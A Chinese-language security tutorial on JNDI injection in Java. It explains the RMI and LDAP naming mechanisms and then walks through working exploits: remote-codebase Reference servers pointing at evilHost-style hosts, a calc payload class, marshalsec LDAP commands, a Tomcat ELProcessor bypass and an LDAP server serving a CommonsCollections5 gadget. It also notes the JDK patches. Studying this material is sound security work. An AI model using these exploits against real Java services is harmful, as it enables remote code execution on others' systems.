JNDI它终于来了。
前言
首先介绍一下什么是JNDI。
JNDI(Java Naming and Directory Interface
):Java命名与目录接口
标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使Java应用程序能和这些命名服务和目录服务之间进行交互。
目录服务是命名服务的一种自然扩展。
Naming Service 命名服务: 把一个服务名称和对象或命名引用相关联。在一些命名服务系统中并不直接将对象进行存储,而是存储了对象的引用,引用包含了如何访问实际对象的信息,类似于指针。
- Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。
- Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (
subcontext
)。
- References: 当存在上述的特殊情况时,以引用的形式进行存储,可以理解为指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd ,这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
Directory Service 目录服务: 在命名基础上增加了属性(文件目录中每个文件和目录都有属性:如创建时间、读写执行权限)不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。
应用通过JNDI与具体的目录服务进行交互。从设计上,JNDI 独立于具体的目录服务实现,设计出了应用范围宽泛的(也就是兼容性比较强大),因此可以针对不同的目录服务提供统一的操作接口。
SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体的目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:
- RMI:Remote Method Invocation 远程方法调用
- LDAP:Lightweight Directory Access Protocol 轻量级目录访问协议
- CORBA:Common Object Request Broker Architecture 通用对象请求代理架构
在 Java JDK 里面提供了5个包,提供给JNDI的功能实现,分别是:
1 2 3 4 5 6 7 8 9
| · javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
· javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
· javax.naming.event:在命名目录服务器中请求事件通知;
· javax.naming.ldap:提供LDAP支持;
· javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
|
共有类Common Class
InitialContext
类:
1 2 3 4 5
| InitialContext() 构建一个初始上下文。
InitialContext(boolean lazy) 构造一个初始上下文,并选择不初始化它。
InitialContext(Hashtable environment) 使用提供的环境构建初始上下文。
|
构建初始上下文,就是获取初始目录环境。
1 2 3 4 5
| bind(Name name, Object obj) 将名称绑定到对象。 list(String name) 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。 lookup(String name) 检索命名对象。 rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定。 unbind(String name) 取消绑定命名对象。
|
References
类:
在命名/目录系统外部找到的对象的引用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| Reference(String className) 为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr) 为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation) 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation) 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
void add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。 void add(RefAddr addr) 将地址添加到地址列表的末尾。 void clear() 从此引用中删除所有地址。 RefAddr get(int posn) 检索索引posn上的地址。 RefAddr get(String addrType) 检索地址类型为“addrType”的第一个地址。 Enumeration getAll() 检索本参考文献中地址的列举。 String getClassName() 检索引用引用的对象的类名。 String getFactoryClassLocation() 检索此引用引用的对象的工厂位置。 String getFactoryClassName() 检索此引用引用对象的工厂的类名。 Object remove(int posn) 从地址列表中删除索引posn上的地址。 int size() 检索此引用中的地址数。 String toString() 生成此引用的字符串表示形式。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class jndi { public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { String url = "http://127.0.0.1:8080"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("aa",referenceWrapper); } }
|
查看到Reference
,并没有实现Remote
接口也没有继承 UnicastRemoteObject
类,前面讲RMI的时候说过,将类注册到Registry
需要实现Remote
和继承UnicastRemoteObject
类。
这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper
将他给封装一下。
LDAP
LDAP(Lightweight Directory Access Protocol
):轻量目录访问协议
类似于数据库。
1.
基于TCP/IP协议
2. 分成服务端/客户端:服务端存储数据,客户端与服务端连接进行操作
3. 相对于mysql
的表型存储,不同的是LDAP
使用树型存储
dn
:domain name
用于唯一标识一个项,类似于MYSQL主键
dc
: domain compose
ou
:organization unit
uid
LDAP协议主要用于单点登录SSO(Single Sign on)
JNDI Attack
为了在命名服务或目录服务中绑定Java
对象,可以使用Java
序列化来传输对象,但有时候不太合适,比如Java
对象较大的情况。
因此JNDI定义了命名引用(Naming References
),后面直接简称引用(References
)。
这样对象就可以通过绑定一个可以被命名管理器(Naming Manager
)解码(decodeObject
)并解析为原始对象的引用,间接地存储在命名或目录服务中。
引用由Reference
类来表示,它由地址(RefAddress
)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java
类名,以及用于创建对象的ObjectFactory
类的名称和位置。
Reference
可以使用ObjectFactory
来构造对象。当使用lookup()
方法查找对象时,Reference
将使用提供的ObjectFactory
类的加载地址来加载ObjectFactory
类,ObjectFactory
类将构造出需要的对象。
所谓的 JNDI
注入就是控制 lookup
函数的参数,这样来使客户端访问恶意的 RMI
或者 LDAP
服务来加载恶意的对象,从而执行代码,完成利用。
在 JNDI
服务中,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用 Reference
类实现的。Reference
类表示对存在于命名/目录系统以外的对象的引用。
具体则是指如果远程获取 RMI
服务器上的对象为 Reference
类或者其子类时,则可以从其他服务器上加载恶意 class
字节码文件来实例化 Reference
类常用属性:
1 2 3
| className 远程加载时所使用的类名 classFactory 加载的 class 中需要实例化类的名称 classFactoryLocation 提供 classes 数据的地址可以是 file/ftp/http 等协议
|
如:
1 2
| Reference reference = new Reference("Exploit","Exploit","http://evilHost/" ); registry.bind("Exploit", new ReferenceWrapper(reference));
|
假如客户端使用RMI协议,lookup请求服务端bind的Exploit类:
1 2
| Context ctx = new InitialContext(); ctx.lookup("rmi://evilHost/Exploit");
|
客户端在本地 CLASSPATH
查找 Exploit
类,如果没有则根据设定的 Reference
属性,
到URL
: http://evilHost/Exploit.class
获取构造对象实例,构造方法中的恶意代码就会被执行。
JNDI References 注入
JNDI中对象的传递有两种:
对于引用,若客户端lookup()
的内容可控,控制客户端去访问恶意的服务中心(rmi、ldap
),获取恶意的引用,进而获取恶意远程服务器的恶意class文件进行执行。
attack
- 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj
- 原先配置好的上下文环境 会因为动态环境转换而被指向 rmi://evil.com:1099/
- 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj 绑定的ReferenceWrapper 对象
- 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从恶意远程服务器上去尝试获取 EvilObject.class,即动态的去获取
http://evil-cb.com/EvilObject.class
- 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class
- 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行
patch
- JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly 默认值被设置为 true。将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端JVM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
- JDK 6u132、7u122、8u113之后:增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为 false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
- JDK 6u211、7u201、8u191之后:增加了 com.sun.jndi.ldap.object.trustURLCodebase 选项,默认为 false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
对于JNDI高版本绕过,当然也有方法,这里我再博客园也写过:
绕过JDK高版本限制进行JNDI注入 - Eddie_Murphy - 博客园 (cnblogs.com)
详细的后面也会再写写。
JNDI-RMI
attack
写个最基础的方式:
RMIServer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws Exception { String url = "http://127.0.0.1:8080/"; Registry r = LocateRegistry.createRegistry(1099); Reference reference = new Reference("calc", "calc", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); r.bind("evil",referenceWrapper); } }
|
RMIClient:
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext;
public class RMIClient { public static void main(String[] args) throws Exception { String url = "rmi://127.0.0.1:1099/evil"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
|
calc.java编译为class文件,python -m http.server 8080
起Web服务
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException;
public class calc { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
|
启动服务端、客户端,触发客户端弹出计算器。
1 2 3
| 注:Server的url端口后面一定要有斜线(/)!!!
这里的恶意类calc.java实际上最好实现javax.naming.spi.ObjectFactory接口,并重写getObjectInstance方法,否则客户端请求得到字节码文件后,会抛出异常(可能就是因为calc.java没有实现ObjectFactory接口)
|
Patch
JDK 6u132、7u122、8u113之后:增加了 com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为 false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞。
在RegistryContext
中,会判断 trustURLCodebase
,默认为false
JNDI-LDAP
attack
LDAP
服务中lookup
方法中指定的远程地址使用的是LDAP
协议,由攻击者控制LDAP
服务端返回一个恶意jndi Reference
对象,并且LDAP
服务的Reference
远程加载Factory
类并不是使用RMI Class Loader
机制,因此不受trustURLCodebase
限制。
ldap的实现代码较多,这里使用工具marshalsec
来启动LDAP服务
marshalsec下载及使用
下载地址:https://github.com/mbechler/marshalsec
maven打包为jar包:mvn clean package -DskipTests
项目会多出一个target目录,进入可以看到生成的jar包
开启ldap服务:java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc 8099
作用是将LDAP查询请求重定向到http://127.0.0.1:8000/#calc
,calc为恶意代码编译得到的class文件
python -m http.server 8000
下放calc.class
注意:calc.java不要包含包名,否则在远程调用的时候会因为类名不正确而报错
客户端:
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext;
public class Client { public static void main(String[] args) throws Exception { String url = "ldap://127.0.0.1:8099/aaa"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
|
查询ldap的地址为:ldap://127.0.0.1:8099/aaa
,后面的aaa是随便写的用于DN查找的字符
过程其实就是
getObjectFactoryFromReference
=> loadClass
=> 本地AppClassLoader
找不到 => URLClassLoader
Patch
8u191之后进行了修补, loadClass方法中添加 trustURLCodebase 属性,所以不能远程加载了。
JDK8u191后的JNDI注入绕过
可见绕过JDK高版本限制进行JNDI注入 - Eddie_Murphy - 博客园 (cnblogs.com)
针对8u191的绕过大致两种途径
- 找到一个受害者本地
CLASSPATH
中的类作为恶意的Reference Factory
工厂类,并利用这个本地的Factory
类执行命令。
- 利用
LDAP
直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget
完成命令执行。
- 既然远程不能打,就找本地有没有可利用的类。服务端返回的
Reference
对象中包含本地存在的可利用Factory
类,loadClass
后,创建实例对象,调用其 getObjectInstance
方法。(该Factory
类需要实现 javax.naming.spi.ObjectFactory
接口,还要重写其 getObjectInstance
方法)
- 通过LDAP的
javaSerializedData
反序列化gadget
。LDAP服务端除了支持JNDI Reference
这种利用方式外,还支持直接返回一个序列化的对象。如果Java对象的javaSerializedData
属性值不为空,则客户端的obj.decodeObject()
方法就会对这个字段的内容进行反序列化。
DEMO
Server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Server { public static void main(String[] args) throws Exception { String url = "http://127.0.0.1:8080/"; Registry r = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Test", "Test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); r.bind("evil",referenceWrapper); } }
|
Client存在Factory:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;
public class Test implements ObjectFactory { static { System.out.println("Static Code"); } public Test() { System.out.println("Non-Arg Constructor"); }
{ System.out.println("Constructor Code"); }
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println("getObjectInstance"); return null; } }
|
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext;
public class Client { public static void main(String[] args) throws Exception { String url = "rmi://127.0.0.1:1099/evil"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
|
上面说到Client会先尝试本地加载类,因此lookup请求后,加载并实例化了Test类。
Static Code Constructor Code Non-Arg Constructor getObjectInstance
本地Class利用
目前公开常用的利用方法是通过 Tomcat 的 org.apache.naming.factory.BeanFactory 工厂类去调用 javax.el.ELProcessor#eval 方法或 groovy.lang.GroovyShell#evaluate 方法
org.apache.naming.factory.BeanFactory
在 getObjectInstance()
中会通过反射的方式实例化Reference
所指向的Bean Class
,并且能调用一些指定的方法
要使用 javax.el.ELProcessor
,需要 Tomcat 8+
或SpringBoot 1.2.x+
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.8</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper</artifactId> <version>9.0.8</version> </dependency>
|
Server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Server { public static void main(String[] args) throws Exception { Registry r = LocateRegistry.createRegistry(1099); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); r.bind("evil",referenceWrapper); System.out.println("running"); } }
|
分析略,看原文去吧。
这里直接给出,method.invoke
的触发对象需满足:
- 有无参构造器(
beanClass.getConstructor().newInstance()
调用无参构造器)
- 有一个可利用的方法,且该方法接收且只接收一个String类型参数(valueArray是String类型的数组,只有一个元素)
本地利用的调用栈:
InitialContext#lookup()
RegistryContext#lookup()
RegistryContext#decodeObject()
NamingManager#getObjectInstance()
objectfactory = NamingManager#getObjectFactoryFromReference()
Class#newInstance()
//–>恶意代码被执行
或: objectfactory#getObjectInstance()
//–>恶意代码被执行
ldap返回序列化对象
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
Server:用CC5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URL; import java.util.HashMap; import java.util.Map;
public class Server { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{ String[] args=new String[]{"http://127.0.0.1/#calc"}; int port = 1389;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); }
e.addAttribute("javaSerializedData",CommonsCollections5());
result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } }
private static byte[] CommonsCollections5() throws Exception{ Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test"); BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null); Field field=badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.close();
return byteArrayOutputStream.toByteArray(); } }
|
Client:
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext;
public class Client { public static void main(String[] args) throws Exception { String url = "ldap://127.0.0.1:1389/calc"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
|
原理也就是
1 2 3
| LdapCtx#c_lookup => decodeObject => deserializeObject
|
参考:
JNDI注入分析 (qq.com)
JNDI | Java (gitbook.io)
yongsheng.site